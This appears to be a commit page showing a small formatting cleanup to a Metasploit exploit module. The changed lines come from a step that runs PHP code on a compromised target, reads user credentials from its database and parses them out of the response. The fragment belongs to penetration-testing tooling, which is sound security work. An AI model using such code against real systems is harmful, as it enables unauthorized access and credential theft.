fixed msftidy.rb complains
parent
7109d63f36
commit
897ae102d4
|
@ -79,11 +79,11 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
print_status("Reading user credentials from the database")
|
print_status("Reading user credentials from the database")
|
||||||
response = execute_php_code(php)
|
response = execute_php_code(php)
|
||||||
|
|
||||||
if not response or response.code != 200 then
|
if not response or response.code != 200 then
|
||||||
print_error("Failed: Error requesting page")
|
print_error("Failed: Error requesting page")
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
credentials = response.body.to_s.scan(/\d{10}(.*)\d{10}(.*)\d{10}/)
|
credentials = response.body.to_s.scan(/\d{10}(.*)\d{10}(.*)\d{10}/)
|
||||||
|
|
||||||
return if credentials.length == 0
|
return if credentials.length == 0
|
||||||
|
|
Loading…
Reference in New Issue